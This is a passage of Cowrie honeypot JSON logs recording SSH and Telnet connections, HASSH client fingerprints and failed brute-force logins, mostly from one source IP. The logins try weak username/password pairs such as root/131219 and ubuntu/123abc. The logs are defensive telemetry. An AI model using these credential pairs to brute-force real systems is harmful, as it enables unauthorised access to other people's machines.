16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:48.636458Z","src_ip":"91.92.40.36","session":"06fb81cdfdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maud","password":"maud","message":"login attempt [maud/maud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:51.875489Z","src_ip":"91.92.40.36","session":"06fb81cdfdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.84463715553284,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:52.343600Z","src_ip":"128.199.8.54","session":"b09a28facde4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:53.968762Z","src_ip":"91.92.40.36","session":"06fb81cdfdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51734,"dst_ip":"10.17.0.5","dst_port":22,"session":"62307fb4cb69","protocol":"ssh","message":"New connection: 91.92.40.36:51734 (10.17.0.5:22) [session: 62307fb4cb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:54.093486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:54.208585Z","src_ip":"91.92.40.36","session":"62307fb4cb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:55.350490Z","src_ip":"91.92.40.36","session":"62307fb4cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:58.016781Z","src_ip":"91.92.40.36","session":"62307fb4cb69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19806,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ccf549229b9","protocol":"ssh","message":"New connection: 91.92.40.36:19806 (10.17.0.5:22) [session: 1ccf549229b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:58.173000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:58.220558Z","src_ip":"91.92.40.36","session":"1ccf549229b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:58.319799Z","src_ip":"91.92.40.36","session":"1ccf549229b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:59.027336Z","src_ip":"91.92.40.36","session":"1ccf549229b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:59.889344Z","src_ip":"91.92.40.36","session":"62307fb4cb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:00.261065Z","src_ip":"91.92.40.36","session":"1ccf549229b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1267f67cd728","protocol":"ssh","message":"New connection: 91.92.40.36:19818 (10.17.0.5:22) [session: 1267f67cd728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:03.027082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:03.451867Z","src_ip":"91.92.40.36","session":"1267f67cd728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:03.473061Z","src_ip":"91.92.40.36","session":"1267f67cd728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123abc","message":"login attempt [ubuntu/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:05.572794Z","src_ip":"91.92.40.36","session":"1267f67cd728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38350,"dst_ip":"10.17.0.5","dst_port":22,"session":"91147f4e691e","protocol":"ssh","message":"New connection: 103.77.242.62:38350 (10.17.0.5:22) [session: 91147f4e691e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:06.002990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:06.007318Z","src_ip":"103.77.242.62","session":"91147f4e691e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:06.245474Z","src_ip":"103.77.242.62","session":"91147f4e691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:06.950907Z","src_ip":"91.92.40.36","session":"1267f67cd728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131219","message":"login attempt [root/131219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:06.961549Z","src_ip":"103.77.242.62","session":"91147f4e691e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:08.203052Z","src_ip":"103.77.242.62","session":"91147f4e691e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63258,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8332008239","protocol":"ssh","message":"New connection: 91.92.40.36:63258 (10.17.0.5:22) [session: fb8332008239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:08.778226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:09.084740Z","src_ip":"91.92.40.36","session":"fb8332008239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:09.089231Z","src_ip":"91.92.40.36","session":"fb8332008239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:11.332746Z","src_ip":"91.92.40.36","session":"fb8332008239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:13.343416Z","src_ip":"91.92.40.36","session":"fb8332008239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63304,"dst_ip":"10.17.0.5","dst_port":22,"session":"518f900fe9df","protocol":"ssh","message":"New connection: 91.92.40.36:63304 (10.17.0.5:22) [session: 518f900fe9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:13.350852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:14.038358Z","src_ip":"91.92.40.36","session":"518f900fe9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:14.041616Z","src_ip":"91.92.40.36","session":"518f900fe9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59612,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2b74e3dbfea","protocol":"ssh","message":"New connection: 14.63.196.175:59612 (159.203.135.109:22) [session: d2b74e3dbfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:14.586846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:14.592405Z","src_ip":"14.63.196.175","session":"d2b74e3dbfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:14.801269Z","src_ip":"14.63.196.175","session":"d2b74e3dbfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxsw12","message":"login attempt [root/Qazxsw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:15.672796Z","src_ip":"14.63.196.175","session":"d2b74e3dbfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:16.891883Z","src_ip":"14.63.196.175","session":"d2b74e3dbfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anders","password":"anders","message":"login attempt [anders/anders] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:18.468255Z","src_ip":"91.92.40.36","session":"518f900fe9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36696,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0f728c00fcf","protocol":"ssh","message":"New connection: 91.92.40.36:36696 (10.17.0.5:22) [session: f0f728c00fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:18.556899Z"}
{"eventid":"cowrie.session.closed","duration":37.51745676994324,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:18.714585Z","src_ip":"128.199.8.54","session":"bf112a2ce058","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:20.029149Z","src_ip":"91.92.40.36","session":"f0f728c00fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:20.033172Z","src_ip":"91.92.40.36","session":"f0f728c00fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:20.880245Z","src_ip":"91.92.40.36","session":"518f900fe9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34972,"dst_ip":"10.17.0.5","dst_port":23,"session":"878c98b04869","protocol":"telnet","message":"New connection: 172.81.62.90:34972 (10.17.0.5:23) [session: 878c98b04869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:24.062933Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36758,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bfae31d1b69","protocol":"ssh","message":"New connection: 91.92.40.36:36758 (10.17.0.5:22) [session: 8bfae31d1b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:27:24.432415Z"}
